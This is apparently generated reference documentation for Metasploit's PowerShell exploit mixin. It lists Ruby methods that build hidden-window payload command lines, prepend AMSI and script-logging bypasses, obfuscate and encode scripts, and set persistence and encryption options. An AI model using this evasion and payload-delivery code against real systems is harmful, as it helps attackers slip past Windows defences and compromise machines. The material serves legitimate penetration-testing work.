Module: Msf::Exploit::Powershell
- Included in:
- JavaDeserialization, Post::Windows::Powershell, Post::Windows::Runas
- Defined in:
- lib/msf/core/exploit/powershell.rb,
lib/msf/core/exploit/powershell/dot_net.rb
Defined Under Namespace
Modules: DotNet, PshMethods
Instance Method Summary collapse
-
#bypass_powershell_protections ⇒ String
Return all bypasses checking if PowerShell version > 3.
-
#cmd_psh_payload(pay, payload_arch, opts = {}) ⇒ String
Creates a powershell command line string which will execute the payload in a hidden window in the appropriate execution environment for the payload architecture.
-
#compress_script(script_in, eof = nil) ⇒ String
Return a gzip compressed powershell script Will invoke PSH modifiers as enabled.
-
#decode_script(script_in) ⇒ String
Return an decoded powershell script.
-
#decompress_script(script_in) ⇒ String
Return a decompressed powershell sript.
-
#encode_script(script_in, eof = nil) ⇒ String
Return an encoded powershell script Will invoke PSH modifiers as enabled.
-
#generate_psh_args(opts) ⇒ String
Generate arguments for the powershell command The format will be have no space at the start and have a space afterwards e.g.
-
#generate_psh_command_line(opts) ⇒ String
Generate a powershell command line, options are passed on to generate_psh_args.
- #initialize(info = {}) ⇒ Object
-
#make_subs(script, subs) ⇒ Object
Insert substitutions into the powershell script If script is a path to a file then read the file otherwise treat it as the contents of a file.
-
#process_subs(subs) ⇒ Object
Return an array of substitutions for use in make_subs.
-
#read_script(script_path) ⇒ Object
Return a script from path or string.
-
#run_hidden_psh(ps_code, payload_arch, encoded) ⇒ String
Wraps the powershell code to launch a hidden window and detect the execution environment and spawn the appropriate powershell executable for the payload architecture.
Instance Method Details
#bypass_powershell_protections ⇒ String
Return all bypasses checking if PowerShell version > 3
262 263 264 265 266 267 268 269 270 271 272 273 274 |
# File 'lib/msf/core/exploit/powershell.rb', line 262 def bypass_powershell_protections # generate the protections bypass in three short steps # step 1: shuffle the instructions by rendering the GraphML script = Rex::Payloads::Shuffle.from_graphml_file( File.join(Msf::Config.install_root, 'data', 'evasion', 'windows', 'bypass_powershell_protections.erb.graphml'), ) # step 2: obfuscate sketchy string literals by rendering the ERB template script = ::ERB.new(script).result(binding) # step 3: obfuscate variable names and remove whitespace script = Rex::Powershell::Script.new(script) script.sub_vars if datastore['Powershell::sub_vars'] Rex::Powershell::PshMethods.uglify_ps(script.to_s) end |
#cmd_psh_payload(pay, payload_arch, opts = {}) ⇒ String
Creates a powershell command line string which will execute the payload in a hidden window in the appropriate execution environment for the payload architecture. Opts are passed through to run_hidden_psh, generate_psh_command_line and generate_psh_args
227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 |
# File 'lib/msf/core/exploit/powershell.rb', line 227 def cmd_psh_payload(pay, payload_arch, opts = {}) %i[persist prepend_sleep exec_in_place exec_rc4 encode_final_payload encode_inner_payload remove_comspec noninteractive wrap_double_quotes no_equals method prepend_protections_bypass].map do |opt| opts[opt] = datastore["Powershell::#{opt}"] if opts[opt].nil? end prepend_protections_bypass = opts.delete(:prepend_protections_bypass) if %w[ auto true ].include?(prepend_protections_bypass) opts[:prepend] = bypass_powershell_protections end unless opts.key? :shorten opts[:shorten] = (datastore['Powershell::method'] != 'old') end template_path = Rex::Powershell::Templates::TEMPLATE_DIR begin command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts) rescue Rex::Powershell::Exceptions::PowershellCommandLengthError => e raise unless prepend_protections_bypass == 'auto' # if prepend protections bypass is automatic, try it first but if the size is too large, turn it off and try again opts.delete(:prepend) command = Rex::Powershell::Command.cmd_psh_payload(pay, payload_arch, template_path, opts) end vprint_status("Powershell command length: #{command.length}") command end |
#compress_script(script_in, eof = nil) ⇒ String
Return a gzip compressed powershell script Will invoke PSH modifiers as enabled
102 103 104 105 106 107 108 109 110 |
# File 'lib/msf/core/exploit/powershell.rb', line 102 def compress_script(script_in, eof = nil) opts = {} datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k| mod_method = k.split('::').last.intern opts[mod_method.to_sym] = true end Rex::Powershell::Command.compress_script(script_in, eof, opts) end |
#decode_script(script_in) ⇒ String
Return an decoded powershell script
86 87 88 89 90 91 92 |
# File 'lib/msf/core/exploit/powershell.rb', line 86 def decode_script(script_in) return script_in unless script_in.to_s.match(%r{[A-Za-z0-9+/]+={0,3}})[0] == script_in.to_s && (script_in.to_s.length % 4).zero? Rex::Powershell::Command.decode_script(script_in) end |
#decompress_script(script_in) ⇒ String
Return a decompressed powershell sript
118 119 120 121 122 |
# File 'lib/msf/core/exploit/powershell.rb', line 118 def decompress_script(script_in) return script_in unless script_in.match?(/FromBase64String/) Rex::Powershell::Command.decompress_script(script_in) end |
#encode_script(script_in, eof = nil) ⇒ String
Return an encoded powershell script Will invoke PSH modifiers as enabled
70 71 72 73 74 75 76 77 78 |
# File 'lib/msf/core/exploit/powershell.rb', line 70 def encode_script(script_in, eof = nil) opts = {} datastore.select { |k, v| k =~ /^Powershell::(strip|sub)/ && v }.keys.map do |k| mod_method = k.split('::').last.intern opts[mod_method.to_sym] = true end Rex::Powershell::Command.encode_script(script_in, eof, opts) end |
#generate_psh_args(opts) ⇒ String
Generate arguments for the powershell command The format will be have no space at the start and have a space afterwards e.g. “-Arg1 x -Arg -Arg x ”
169 170 171 172 173 174 175 176 177 |
# File 'lib/msf/core/exploit/powershell.rb', line 169 def generate_psh_args(opts) return '' unless opts unless opts.key? :shorten opts[:shorten] = (datastore['Powershell::method'] != 'old') end Rex::Powershell::Command.generate_psh_args(opts) end |
#generate_psh_command_line(opts) ⇒ String
Generate a powershell command line, options are passed on to generate_psh_args
134 135 136 |
# File 'lib/msf/core/exploit/powershell.rb', line 134 def generate_psh_command_line(opts) Rex::Powershell::Command.generate_psh_command_line(opts) end |
#initialize(info = {}) ⇒ Object
6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 |
# File 'lib/msf/core/exploit/powershell.rb', line 6 def initialize(info = {}) super ( [ OptBool.new('Powershell::persist', [true, 'Run the payload in a loop', false]), OptInt.new('Powershell::prepend_sleep', [false, 'Prepend seconds of sleep']), OptEnum.new('Powershell::prepend_protections_bypass', [true, 'Prepend AMSI/SBL bypass', 'auto', %w[ auto true false ]]), OptBool.new('Powershell::strip_comments', [true, 'Strip comments', true]), OptBool.new('Powershell::strip_whitespace', [true, 'Strip whitespace', false]), OptBool.new('Powershell::sub_vars', [true, 'Substitute variable names', true]), OptBool.new('Powershell::sub_funcs', [true, 'Substitute function names', false]), OptBool.new('Powershell::exec_in_place', [true, 'Produce PSH without executable wrapper', false]), OptBool.new('Powershell::exec_rc4', [true, 'Encrypt PSH with RC4', false]), OptBool.new('Powershell::remove_comspec', [true, 'Produce script calling powershell directly', false]), OptBool.new('Powershell::noninteractive', [true, 'Execute powershell without interaction', true]), OptBool.new('Powershell::encode_final_payload', [true, 'Encode final payload for -EncodedCommand', false]), OptBool.new('Powershell::encode_inner_payload', [true, 'Encode inner payload for -EncodedCommand', false]), OptBool.new('Powershell::wrap_double_quotes', [true, 'Wraps the -Command argument in single quotes', true]), OptBool.new('Powershell::no_equals', [true, 'Pad base64 until no "=" remains', false]), OptEnum.new('Powershell::method', [true, 'Payload delivery method', 'reflection', %w[net reflection old msil]]) ] ) end |
#make_subs(script, subs) ⇒ Object
Insert substitutions into the powershell script If script is a path to a file then read the file otherwise treat it as the contents of a file
55 56 57 58 59 60 61 |
# File 'lib/msf/core/exploit/powershell.rb', line 55 def make_subs(script, subs) subs.each do |set| script.gsub!(set[0], set[1]) end script end |
#process_subs(subs) ⇒ Object
Return an array of substitutions for use in make_subs
40 41 42 43 44 45 46 47 48 |
# File 'lib/msf/core/exploit/powershell.rb', line 40 def process_subs(subs) return [] if subs.nil? || subs.empty? new_subs = [] subs.split(';').each do |set| new_subs << set.split(',', 2) end new_subs end |
#read_script(script_path) ⇒ Object
Return a script from path or string
33 34 35 |
# File 'lib/msf/core/exploit/powershell.rb', line 33 def read_script(script_path) Rex::Powershell::Script.new(script_path) end |
#run_hidden_psh(ps_code, payload_arch, encoded) ⇒ String
Wraps the powershell code to launch a hidden window and detect the execution environment and spawn the appropriate powershell executable for the payload architecture.
188 189 190 191 192 193 194 195 196 197 198 199 |
# File 'lib/msf/core/exploit/powershell.rb', line 188 def run_hidden_psh(ps_code, payload_arch, encoded) arg_opts = { noprofile: true, windowstyle: 'hidden' } # Old technique fails if powershell exits.. arg_opts[:noexit] = (datastore['Powershell::method'] == 'old') arg_opts[:shorten] = (datastore['Powershell::method'] != 'old') Rex::Powershell::Command.run_hidden_psh(ps_code, payload_arch, encoded, arg_opts) end |